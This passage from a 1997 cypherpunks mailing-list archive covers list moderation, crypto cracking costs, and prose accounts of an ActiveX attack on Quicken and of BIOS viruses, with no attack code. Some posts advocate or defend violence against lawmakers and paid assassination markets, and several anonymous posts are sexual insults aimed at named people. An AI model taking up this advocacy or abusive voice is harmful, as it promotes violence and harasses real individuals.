your time. Rather than foam and rant the way some did (and Vulis must have
posted 100 messages on the subject), I chose to simply make my exit,
quickly.

But as I have recently seen several mentions of my absence (including a
particularly complimentary comment from Asgaard--thanks), I do feel I owe
it to you all to explain my views.

Which I have done. Have a nice year, and a nice millenium in a couple of years.


--Tim May




Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 2 Feb 1997 15:52:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Electronic Funds Transfer without stealing PIN/TAN
Message-ID: <v03007805af1ab1ede1f0@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: Rachel Willmer <rachel@intertrader.com>
Mime-Version: 1.0
Precedence: Bulk
Date: Sun, 2 Feb 1997 15:03:25 +0000
From: Rachel Willmer <rachel@intertrader.com>
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject: Electronic Funds Transfer without stealing PIN/TAN

--- From RISKS digest ---

Date: 1 Feb 1997 05:12:02 GMT
From: weberwu@tfh-berlin.de (Debora Weber-Wulff)
Subject: Electronic Funds Transfer without stealing PIN/TAN

The Berlin newspaper "Tagespiegel" reports on 29 Jan 97 about a television
show broadcast the previous evening on which hackers from the Chaos Computer
Club demonstrated how to electronically transfer funds without needing a PIN
(Personal Identification Number) or TAN (Transaction Number).

Apparently it suffices for the victim to visit a site which downloads an
ActiveX application, which automatically starts and checks to see if
Quicken, a popular financial software package that also offers electronic
funds transfer, is on the machine. If so, Quicken is given a transfer order
which is saved by Quicken in its pile of pending transfer orders. The next
time the victim sends off the pending transfer orders to the bank (and
enters in a valid PIN and TAN for that!)  all the orders (= 1 transaction)
are executed -> money is transferred without the victim noticing!

The newspaper quotes various officials at Microsoft et al expressing
disbelief/outrage/"we're working on it". We discussed this briefly in class
looking for a way to avoid the problem. Demanding a TAN for each transfer is
not a solution, for one, the banks only send you 50 at a time, and many
small companies pay their bills in bunches. Having to enter a TAN for each
transaction would be quite time-consuming. Our only solution would be to
forbid browsers from executing any ActiveX component without express
authorization, but that rather circumvents part of what ActiveX is intended
for.

A small consolation: the transfer is trackable, that is, it can be
determined at the bank to which account the money went. Some banks even
include this information on the statement, but who checks every entry on
their statements...

Debora Weber-Wulff, Technische Fachhochschule Berlin, Luxemburger Str. 10,
13353 Berlin GERMANY weberwu@tfh-berlin.de <http://www.tfh-berlin.de/~weberwu/>

--
Rachel Willmer, Intertrader Ltd, Cova House, 4 John's Place, Edinburgh
Email: rachel@intertrader.com    Tel: +44 131 555 8450    Fax: +44 131 555 8451
Sun Internet Associate and winner of 1996 SMART Award for Innovation
                       "We develop Java Commerce Solutions"




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 2 Feb 1997 14:55:23 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <cypherpunks@toad.com
Subject: Re: Key Security Question
In-Reply-To: <199702021555.HAA25423@toad.com>
Message-ID: <199702021659.QAA05236@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


X-Mailer: MR/2 Internet Cruiser Edition for OS/2 v1.24 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 2 Feb 1997 16:57:31 -0800 (PST)
To: Adam Shostack <adam@homeport.org>
Subject: Re: "Strong" crypto and export rule changes.
In-Reply-To: <199702020956.BAA16024@toad.com>
Message-ID: <3.0.1.32.19970202164850.005fdd50@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:55 PM 2/1/97 -0500, Adam Shostack wrote:
>	More seriously, that estimate is the cost of breaking DES on
>custom hardware, based on Wiener's figures.  Ian got RC4-40 in 3.5
>hours on I don't know how much hardware, not a lot of it custom, AFAIK.

http://now.cs.berkeley.edu is the home page for the 
Network Of Workstations CPU farm.  Mostly Suns with some recent
generation of Sparc chip.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 2 Feb 1997 17:22:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [OFF-TOPIC] Newt's phone calls
Message-ID: <199702030122.RAA19571@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dipshit Viscera K<rap> Of The Month will fuck anything that
moves, but he'd rather be fucking his own mother's dead body.

 ^-^-^-@@-^-^-^
      (..)     Dipshit Viscera K<rap> Of The Month






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 2 Feb 1997 15:28:24 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <cypherpunks@toad.com
Subject: Re: Key Security Question
In-Reply-To: <199702021555.HAA25423@toad.com>
Message-ID: <199702021732.RAA05665@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199702021555.HAA25423@toad.com>, on 02/02/97 at 09:34 AM,
   "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com> said:


>ichudov@algebra.com (Igor Chudov @ home) writes:

>> Dr.Dimitri Vulis KOTM wrote:
>> > Bill Stewart <stewarts@ix.netcom.com> writes:
>> > > On the other hand, if the "repairman" replaced your pgp executable
>> > > with version 2.6.3kgb, which uses your hashed passphrase as the
>> > > session key, you're hosed.  Or if he installed a keystroke sniffer,
>> > > or added a small radio transmitter to your keyboard, or whatever.
>> > > Depends on your threat model.  If you need to be paranoid,
>> > > they've already gotten you....
>> >
>> > If you're really paranoid, you can boot from a clean floppy and
>> > reinstall everything from your backup tapes. You do have a
>> > contingency plan in case your hard disk goes bad, or gets a
>> > virus, don't you? Well, if you're in doubt, exercise it.
>>
>> And what if the repairman replaces BIOS ROM chips with KGBios?

>On some computers it's possible to add executable code to the boot
>sequence without replacing the actual ROM chip because they're
>rewritiable. Examples: most Sun boxes; intel motherboards with 'flash
>bios'.

V-Communications has a nice Bios Pre-Processor for their dissasembler for
anyone intrested it playing with their bios code. Most newer MB's come with
Flash Bios and the software to Flash the chip is available for download
from the Manufacture. I'v gone and tinkered around with the bios on a
couple of my AMI motherboards.

Flash bios does open the possibility for a virus infection of ones bios. I
have had several intresting discussions with the AMI programmers about
this. IMHO any device that has flash bios should have a jumper on the
circuit board to enable/disable the flash option. I have not seen anyone
that is doing this with their products.

The MB bios is relativly safe as the flash process happens pre-post but
considering that flash bios can be found in almost all computer prerifials
the potential for harm is there. Currently on my system I have flash bios
on the HD's, modem's, NIC's, & SCSI card's. All are a potential hiding spot
for a virus.


- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 

 
Tag-O-Matic: Air conditioned environment - Do not open Windows.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sun, 2 Feb 1997 17:51:54 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Libel, Times v. Sullivan
Message-ID: <01BC1132.60AFC420@king1-28.cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Attila T. Hun

+Yes, if the Magna Carta guaranteed a right and the forefathers fought
+to  secure it, why should any of us ever have to lift a finger in our
+own  defense.

    seems to me Jefferson said it took a rebellion every 20 years or so
    to keep democracy awake...  other than presuming your answer is
    tongue in cheek (not elsewhere), complacency == welfare.
.........................................................


Definitely  tongue-in-cheek.    Just noting that if a thing has been 
"guaranteed", this means (by my interpretation) that it is a done deal and 
nothing further need be done about it - it's established and automatic.

But obviously a "right", though it be a basic operant in Nature and 
existent as an abstract concept in some people's minds, is not recognized 
either naturally or formally by many.

Therefore, as Jefferson remarked, we cannot depend on our forefather's 
vision to uphold our honor but must re-establish it as needed.

    ..
Blanc








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sun, 2 Feb 1997 17:52:02 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: FW: Cyphernomicon by Tim May
Message-ID: <01BC1132.6711FB80@king1-28.cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


(meant to send this to the list earlier)
From:	Toto

  Personally, I could care less when people want to play footsie-games
with flaming, but I think it points out the ludicrousness of having
a moderator limiting people to 'childish' insults.
  I prefer someone screaming at me what a cocksucker I am.
...................................................

Now, you know it has to do with proportion:  if Jim Choate, in the course 
of an ADD-induced discourse on the reprehensability of libelous 
indiscretions, happens to let out a "Bessie", it's going to be less 
disconcerting than to read continuous content-less alerts consisting of 
nothing but declarations against your personal virtue.   At the very least, 
the one provides some cause for educated clarification, while the other 
leaves nothing to say, but only to filter.

However, it's 3:00 a.m. PST and Sandy's asleep right now, so if you really 
feel like flaming somebody uninhibitedly, now's the time to get past the 
flame-bot (hee-hee).

=

 Ray Hettinga forwards these long, literate missives advertising
this-or-that million dollar a plate conferences, but when he chose
to insult me with his own words, the result was an immature
blathering which showed questionable literary skills.
.............................................

Bad, Ray  -  Bad!

=

  It would be nice, however, to try to twist the rest of the list
around to my own world-view. It gets lonely here in the 'rubber room'
at the Home, and I could use some company.
.............................................

You're at liberty to try.   Why don't you start with Messrs. Jim and Jim.
(but, wait  -  let me set up my Inbox Rules.....)

    ..
Blanc






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Asgaard <asgaard@cor.sos.sll.se>
Date: Sun, 2 Feb 1997 09:12:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cyphernomicon by Tim May
In-Reply-To: <199702020959.BAA16083@toad.com>
Message-ID: <Pine.HPP.3.91.970202180006.25378A-100000@cor.sos.sll.se>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 2 Feb 1997, Declan McCullagh wrote:

>That question is one for Tim to answer, but I should point out that

TC May hasn't posted in a month or so. I miss his posts. Without
any official role he was the de facto moderator, mostly by example
but also by pointing out the core of the issues when things went
astray, for all those years. Did he mention going away for so long
in any of his latest posts? I remember 'for the holiday season'
but that is long gone. I hope he hasn't left the list for good,
being pissed off by Gilmore's choice of moderator(s) or some
such reason.

Asgaard




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 2 Feb 1997 18:31:36 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: If guilty of a lesser crime, you can be sentenced for a greater
In-Reply-To: <199702030110.TAA24381@manifold.algebra.com>
Message-ID: <32F54DB1.5D6F@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> jim bell wrote:
> > Better yet, set up a system to encourage the public to USE those guns (and
> > other weapons) to get rid of the people who pass such laws, and the problem
> > is solved.

> How about this scenario: I borrow 1 million dollars from, let's say,
> Phill Hallam-Baker. Not wanting to pay it back, I pay to the
> assassination bot and arrange him to be murdered.

Igor, there's an old saying in this country: the best way to lose a
friend is to lend him money.

> Another story: suppose that I negligently caused fire that destroys
> house of, say, Toto. Toto knows that if he sues me, I can arrange him
> murdered for the amount less than the amount of damages. As a result,
> he refrains from suing me, or (if he is a mean person) pays additional
> money to have me murdered. A suit would probably be a much better outcome.

Sometimes you have to pay a steep price for negligence, like neglecting
to watch how close you get to the edge of the road on, say, Topanga
Canyon or one of those (long way down).  Now, since people *know* to
be extra careful on the canyon roads, don't you think by the same
analogy they'd be extra careful with other things when AP is running?

> Another story: suppose that OKSAS hired me to work for her, but then
> our relationships go south and she fires me. Again, her fate is very
> unclear, although I would probably spare her life if it were she.

If she does it right, with empathy, there is not likely to be a
problem.  On the other hand, if she bad-mouths you to prospective
employers or customers you want to do business with, you might be
inclined to hit her.  This happens a lot when AP is not available.

> The bottom line is, it becomes very hard to do ANYTHING that disappoints
> at least somebody. That can lead to a lot of inefficiencies.

To get rid of everyone who pisses you off, you'd have to pay a lot
more money than you'll ever have, therefore not a problem.  Those
people who have such money are not going to bump off very many more
people than they already do, because:

1. They need the people to make money off of (Mafia rule #4, never
   kill someone who owes you money [or is a money source]).

2. Rich people have a lot of eyes on them, and it would be easy to
   triangulate a series of murders to them, even without hard evidence.
   In an AP world, this triangulation/correlation would be enough to
   convince people to either shun this killer, or kill him outright.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Sun, 2 Feb 1997 10:39:16 -0800 (PST)
To: blanc <cypherpunks@toad.com>
Subject: RE: Libel, Times v. Sullivan
In-Reply-To: <01BC10C5.A58834A0@king1-10.cnw.com>
Message-ID: <199702021838.LAA06964@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970202:0457 blanc <blancw@cnw.com> said:

+Yes, if the Magna Carta guaranteed a right and the forefathers fought
+to  secure it, why should any of us ever have to lift a finger in our
+own  defense.

    seems to me Jefferson said it took a rebellion every 20 years or so 
    to keep democracy awake...  other than presuming your answer is 
    tongue in cheek (not elsewhere), complacency == welfare.

+My contribution to this thread from the Cpunk History & Philosophy 
+Division:   a Jewish saying from a book I glanced through of couple of 
+weeks ago, something like:
+
+	"What good is it to a man who has lost his sight
+	  that his ancestors had perfect vision."

    not a lot, but that does not mean he should scorn those who have
    managed to retain their sight. your saying is rather characteristic 
    of the genre --best glamourized in Mad magazine. 

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Sun, 2 Feb 1997 17:03:52 -0800 (PST)
To: Jim Choate <cypherpunks@toad.com>
Subject: Re: Free & Open Society & toleration
In-Reply-To: <199702020201.UAA00977@einstein>
Message-ID: <199702030103.SAA17943@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970201:2001 Jim Choate <ravage@einstein.ssz.com> said:

+I further hold that one of the current legal practices based on
+precidence which MUST be replaced is our system dealing with
+defamation. I further hold that our current system of legal
+representation is inherently flawed and prevents equal representation
+under the law.

    BULLSHIT

    why don't you toll the bell for freedom while you're at it, and 
    think about 'for whom the bell tolls.' --it tolls for thee.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 2 Feb 1997 18:49:52 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <v03007800af1ab0e7d67e@[207.167.93.63]>
Message-ID: <32F55207.21E5@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:
> With no false modesty I tried awfully hard to compose
> substantive essays on crypto-political topics, often more than one per day.
> (Others did too, but they seem to be tapering off as well, leaving the list
> to be dominated by something called a "Toto," the "O.J. was framed!"
> ravings of Dale Thorn,

Dale, that's me!

> * To summarize:
> - the decision to censor the list was made without any discussion on the
> list, without any discussion with at least some of the longterm core
> contributors, and was presented as a "fait accompli."
> - while John has every right to do with his hardware as he wishes, he does
> not "own" the Cypherpunks group (though whether he owns the "list" is a
> semantically debatable point)

Which is exactly the point I labored so long on while Tim May was
sitting on the sidelines.

> - whatever our group once was, or still is, is not dependent on having a
> particular mailing list running on someone's home machine...and it cannot
> be claimed that any person "owns" the Cypherpunks group.

Ditto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Sun, 2 Feb 1997 17:03:43 -0800 (PST)
To: Jim Choate <toto@sk.sympatico.ca>
Subject: Re: Free & Open Society & toleration
In-Reply-To: <199702020418.WAA01210@einstein>
Message-ID: <199702030103.SAA17931@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

    are you really saying we must dispose of our time honoured 
    tradition of "the best justice money can buy..." ???  say it is not 
    so; where would our legal system be without body trading?

    as for the communist/socialist ideal of work/need/want where want 
    is suppressed --it does not work; never has, never will. even the 
    religious orders have not made it work over time (other than by 
    fear).

on or about 970201:2218 Jim Choate <ravage@EINSTEIN.ssz.com> said:

+1.  Removal of the lawyer from the ultimate choice of whether the case
+    should be pursued.

    whew, open the floodgates. free lunch.

+2.  The minimalization of the defendants and plaintiffs monetary
+    resources
+    by removing them from the legal system by choosing the legal
+    representation of both parties by lot.

    damn, free dinner, too.

+3.  By moving the responsibility of police to provide evidence from the
+    prosecution to the court we equalize the impact of irregularities
+    in evidence selection as well as minimizing the sorts of evidence
+    disputes which so impact some trials (ie OJ Simpson).

    my, we're on a roll, aren't we?

+4.  By the implimentation of a bond proviso on the part of the
+    plaintiff
+    the system provides a check and balance reducing nuisance cases as
+    well as reducing the taxation load on the citizenry.

    this is already a factor in the need to pay an attorney his 
    ridiculous fees. being required to post a plaintiff's bond does 
    nothing to equalize the rights of the have nots --most of whom seem 
    to have unlimited resources from the dogooders anyway.

    Get real, Jim.  it may not be the best system, but other than 
    enforcing the principles on which it is founded, and stripping 
    attorney privileges to a percentage of the take, the system works 
    quite well; corruption on the bench is whose fault?  ours, just 
    like the excesses in Washington are our fault.

    it is _our_ failure to insist on clean, representative government 
    and judiciary.  and to convert to a pooled system for equality is 
    not going to stop graft -it is built in to human greed.  

    stop apathy on _our_ part, and we will stop graft.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sun, 2 Feb 1997 18:53:21 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Fighting the cybercensor
Message-ID: <01BC113A.E314D560@king1-28.cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Steve Schear

I sincerely doubt that many would use AP to right small slights, anymore
than many now kill others for the same reasons.  The world has always been
inhabited by bullies and tyrants who cared little of what harm they caused
others.  An AP system would quickly eliminate bullies and tyrants.
....................................................

Some of them.  But like an infection which can be potentialy killed with 
antibiotics, ignoring the unhealthy conditions which made it possible to 
establish itself will frustrate the attempts to prevent the phenomena of 
its recurrence.

    ..
Blanc






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 2 Feb 1997 17:14:54 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: If guilty of a lesser crime, you can be sentenced for a greater
In-Reply-To: <199702022225.OAA03364@toad.com>
Message-ID: <199702030110.TAA24381@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


jim bell wrote:
> 
> Better yet, set up a system to encourage the public to USE those guns (and 
> other weapons) to get rid of the people who pass such laws, and the problem 
> is solved.
> 

How about this scenario: I borrow 1 million dollars from, let's say,
Phill Hallam-Baker. Not wanting to pay it back, I pay to the
assassination bot and arrange him to be murdered.

Another story: suppose that I negligently caused fire that destroys
house of, say, Toto. Toto knows that if he sues me, I can arrange him
murdered for the amount less than the amount of damages. As a result,
he refrains from suing me, or (if he is a mean person) pays additional 
money to have me murdered. A suit would probably be a much better outcome.

Another story: suppose that OKSAS hired me to work for her, but then
our relationships go south and she fires me. Again, her fate is very
unclear, although I would probably spare her life if it were she. 

The bottom line is, it becomes very hard to do ANYTHING that disappoints 
at least somebody. That can lead to a lot of inefficiencies.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Sun, 2 Feb 1997 17:05:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Lucifer
Message-ID: <199702030105.RAA14828@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Deflated Vermin K`adaver'OTM has been fired for masturbating in
front of his boss.

    o     o
 --/--   <~\ Deflated Vermin K`adaver'OTM
 __\    _/\






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 2 Feb 1997 17:18:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: None[ANNOUNCEMENT] Secure envelopes
Message-ID: <199702030117.UAA31219@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim C[rook] May's aberrant sexual life has 
negatively impacted his mental integrity.

              ,,,
         -ooO(o o)Ooo- Tim C[rook] May
              (_)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sun, 2 Feb 1997 20:26:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: VOICE STRESS ANALYSIS
Message-ID: <199702030426.UAA15221@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


Awhile back we were discussing voice-stress analysis; just got this item on 
the subject; he said it's okay to post it.



>From: Spectre334@aol.com
>Date: Sun, 2 Feb 1997 09:31:17 -0500 (EST)
>To: jimbell@pacifier.com
>cc: BLAMES2778@aol.com, AFSCA@aol.com, JLeek426@aol.com
>Subject: VOICE STRESS ANALYSIS
>
>MR. BELL:
>
>I FOUND YOUR QUERY ABOUT VOICE STRESS ANALYSIS ON THE INTERNET, AND I TOO,
>HAVE FOUND A DEARTH OF INFORMATION THERE - UNTIL NOW.
>
>I'M PLEASED TO REPORT THAT VOICE STRESS ANALYSIS (VSA) IS ALIVE AND WELL.  IT
>HAS BEEN QUIETLY PERFORMING IN THE SHADOW OF THE POLYGRAPH FOR MANY YEARS.
> NOW, HOWEVER, IT IS COMING INTO ITS AND IS USED IN MANY STATES TO AID IN
>CRIMINAL INVESTIGATIONS AND OTHER APPLICATIONS.
>
>AMONG ITS OTHER BENEFITS, VSA REQUIRES NO INTIMIDATING HOOKUP TO THE
>SUBJECT'S BODY, IN ORDER TO MEASURE THE LEVEL OF STRESS.  IT CAN BE CONDUCTED
>VIRTUALLY ANYWHERE - EVEN WHERE NO ELECTRICITY IS PRESENT.  PERHAPS MOST
>PERTINENT TO YOUR QUESTION, VSA CAN BE SOMETIMES PERFORMED ON PEOPLE WHO ARE
>NO LONGER AROUND, THROUGH THEIR RECORDED VOICES.  THIS IS CALLED "NARRATIVE
>ANALYSIS" AND IS SOMEWHAT TOUGHER THAN THE BASIC QUESTION - AND -ANSWER
>APPROACH, SINCE THE EXAMINER CANNOT CONTROL THE CONTENT AND SEQUENCE OF
>QUESTIONS, IF THE SOURCE IS A PAST RECORDING.
>
>THE DIOGENES GROUP, INC., OF WHICH I AM PRESIDENT, HAS DEVELOPED A TOTALLY
>DIGITAL APPROACH TO VSA, AND BEGAN DELIVERING SYSTEMS TO LAW ENFORCEMENT
>AGENCIES IN DECEMBER, 1996.  THE PREMIER DIOGENES VSA PRODUCT IS REDUCED TO
>THE SIZE OF A NOTEBOOK COMPUTER, BUT PRODUCES REALTIME PROCESSING FOR
>SOFTCOPY DISPLAY, AND HARDCOPY PRINTING WITHIN SECONDS.
>
>YOU MAY BE FAMILIAR WITH THE PREVIOUS STATE-OF-THE-ART, WHICH WAS A
>RELATIVELY LARGE ANALOG MACHINE, USING A SINGLE CHANNEL AND PRINTING OUT THAT
>DATA ON A ROLL OF THERMAL PAPER.  THOSE DAYS ARE GONE FOREVER.  
>
>IF YOU WOULD LIKE MORE INFORMATION ON THE DIOGENES GROUP AND ITS PRODUCTS,
>PLEASE USE THIS CHANNEL TO SEND ME YOUR MAILING ADDRESS, PHONE NUMBER, AND
>FAX NUMBER.
>
>THANKS FOR YOUR INTEREST IN VOICE STRESS ANALYSIS.
>
>SINCERELY,
>
>TOM
>
>(THOMAS F. MCGRAW)
>
>
Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: OKSAS <oksas@asimov.montclair.edu>
Date: Sun, 2 Feb 1997 17:40:35 -0800 (PST)
To: "Igor Chudov @ home" <ichudov@algebra.com>
Subject: Re: If guilty of a lesser crime, you can be sentenced for a greater
In-Reply-To: <199702030110.TAA24381@manifold.algebra.com>
Message-ID: <Pine.SOL.3.93.970202203822.17818A-100000@asimov.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain




On Sun, 2 Feb 1997, Igor Chudov @ home wrote:

> jim bell wrote:
> > 
> > Better yet, set up a system to encourage the public to USE those guns (and 
> > other weapons) to get rid of the people who pass such laws, and the problem 
> > is solved.
> > 
> 
> How about this scenario: I borrow 1 million dollars from, let's say,
> Phill Hallam-Baker. Not wanting to pay it back, I pay to the
> assassination bot and arrange him to be murdered.
> 
> Another story: suppose that I negligently caused fire that destroys
> house of, say, Toto. Toto knows that if he sues me, I can arrange him
> murdered for the amount less than the amount of damages. As a result,
> he refrains from suing me, or (if he is a mean person) pays additional 
> money to have me murdered. A suit would probably be a much better outcome.
> 
> Another story: suppose that OKSAS hired me to work for her, but then
> our relationships go south and she fires me. Again, her fate is very
> unclear, although I would probably spare her life if it were she. 

	Chudov , do you love me?
> 
> The bottom line is, it becomes very hard to do ANYTHING that disappoints 
> at least somebody. That can lead to a lot of inefficiencies.
> 
> 	- Igor.
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 2 Feb 1997 18:59:43 -0800 (PST)
To: dthorn@gte.net
Subject: Re: If guilty of a lesser crime, you can be sentenced for a greater
In-Reply-To: <32F54DB1.5D6F@gte.net>
Message-ID: <199702030241.UAA25010@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> Igor Chudov @ home wrote:
> 
> > How about this scenario: I borrow 1 million dollars from, let's say,
> > Phill Hallam-Baker. Not wanting to pay it back, I pay to the
> > assassination bot and arrange him to be murdered.
> 
> Igor, there's an old saying in this country: the best way to lose a
> friend is to lend him money.

Phill, in this example, is not my friend, but a lender.

> > Another story: suppose that I negligently caused fire that destroys
> > house of, say, Toto. Toto knows that if he sues me, I can arrange him
> > murdered for the amount less than the amount of damages. As a result,
> > he refrains from suing me, or (if he is a mean person) pays additional
> > money to have me murdered. A suit would probably be a much better outcome.
> 
> Sometimes you have to pay a steep price for negligence, like neglecting
> to watch how close you get to the edge of the road on, say, Topanga
> Canyon or one of those (long way down).  Now, since people *know* to
> be extra careful on the canyon roads, don't you think by the same
> analogy they'd be extra careful with other things when AP is running?

Mmm, likely the result will be that Toto will be impoverished (it is an
example, do not take it personally) and will not only not be able to
murder me, but also will be too afraid to sue me (because I would
rather pay for a cheaper assassination than to pay damages).

> > Another story: suppose that OKSAS hired me to work for her, but then
> > our relationships go south and she fires me. Again, her fate is very
> > unclear, although I would probably spare her life if it were she.
> 
> If she does it right, with empathy, there is not likely to be a
> problem.  On the other hand, if she bad-mouths you to prospective
> employers or customers you want to do business with, you might be
> inclined to hit her.  This happens a lot when AP is not available.

... But would happen more often if it was.

> > The bottom line is, it becomes very hard to do ANYTHING that disappoints
> > at least somebody. That can lead to a lot of inefficiencies.
> 
> To get rid of everyone who pisses you off, you'd have to pay a lot
> more money than you'll ever have, therefore not a problem.  Those

Why, I will have a lot of money.

> people who have such money are not going to bump off very many more
> people than they already do, because:
> 
> 1. They need the people to make money off of (Mafia rule #4, never
>    kill someone who owes you money [or is a money source]).

This is a wrong Mafia rule, they do kill debtors who are in default.

> 2. Rich people have a lot of eyes on them, and it would be easy to
>    triangulate a series of murders to them, even without hard evidence.
>    In an AP world, this triangulation/correlation would be enough to
>    convince people to either shun this killer, or kill him outright.

When ten people make deals with each other, it becomes hard to
triangulate. And it is easy, if you know what deals are done, to change
the result of triangulation: suppose that I know that you borrowed 1
million from Toto, that my _and_ yours business partner had been
murdered (by me, but no one knows), and I am afraid that someone will
triangulate me and implicate me in that murder. I secretly order
the AP bot to kill Toto, and you get implicated.

Not good.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Sun, 2 Feb 1997 20:27:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [STATS] Dr. Denning
Message-ID: <199702030427.VAA28260@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Deceased L"amentation" Vibrator likes to be the man in the
middle, getting it both up the ass and in his mouth.

      O      |'|
     /\      | | Dr.Deceased L"amentation" Vibrator
    /\ \-------|
   / / |-------|






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Sun, 2 Feb 1997 18:32:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: [ITAR] Key Security Question
Message-ID: <199702030232.SAA19017@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



